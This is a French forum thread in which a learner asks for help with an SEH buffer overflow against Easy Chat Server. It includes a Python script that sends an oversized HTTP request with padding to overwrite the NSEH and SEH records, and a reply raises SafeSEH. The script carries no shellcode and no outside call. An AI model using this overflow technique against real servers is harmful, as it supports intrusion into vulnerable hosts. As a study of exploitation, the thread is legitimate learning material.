OS : systèmes d’exploitation

vendredi 20 mars 2015, 10:46  #1
Buffer overflow SEH
guillaume
  • 1 posts

Bonjour,

Je tente d’apprendre et comprendre le buffer overflow SEH.

J’ai pour cela été sur exploit-db.com et j’ai sélectionné l’application easychat server :
http://www.exploit-db.com/exploits/8142/

Je pense avoir comprit le principe de base du buffer overflow SEH.
On écrase l’adresse mémoire de SEH par une adresse qui amène à une instruction POP POP RET
Ce qui permet de faire pointer ESP sur NSEH (POP POP) et de mettre dans EIP l’adresse de NSEH (RET) qui contient un JMP 06
Pour enfin tomber sur le shellcode.

Mon problème est que ESP n’est jamais à 8 octets (POP POP) de NSEH.

Par exemple pour easy chat server, j’utilise le script pyhton suivant :

# !/usr/bin/python

import struct
import socket

buf = "A"*216 + "B"*4 + "C"*4 + "D" *179

head = "GET /chat.ghp ?username="+buf+"&password="+buf+"&room=1 HTTP/1.1\r\n"
head += "Host : 127.0.0.1\r\n"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((’192.168.1.10’,8080))
s.send(head + "\r\n\r\n")
s.close()

Une fois exécuté, j’ai bien des B dans NSEH, des C dans SEH suivi de mes D. Sauf que ESP n’est pas du tout à coté de NSEH.

On voit sur le screenshot http://hpics.li/537fc7d (ou pièce jointe) que :

ESP est à l’adresse 0x00FD6B50
NSEH est à l’adresse 0x00FD6DDC
SEH est à l’adresse 0x00FD6DE0

Donc clairement, si j’écrase SEH par une adresse qui contient l’instruction POP POP RET, je ne risque pas de tomber sur SEH...

Easy chat serer est installé sur une machine XP Pro SP3 et mon script pyhton est lancé depuis une Kali.
Je n’ai peut être pas le bon système (Windows) pour pouvoir exploiter cette vulnérabilité ?

Merci d’avance pour votre aide.


easychat.png
easychat.png
 (PNG, 143.3 ko)
dimanche 9 août 2015, 00:53  #2
Buffer overflow SEH
Anonyme

A tu vérifié si la dll où tu a le pop pop ret n’est pas safeseh ?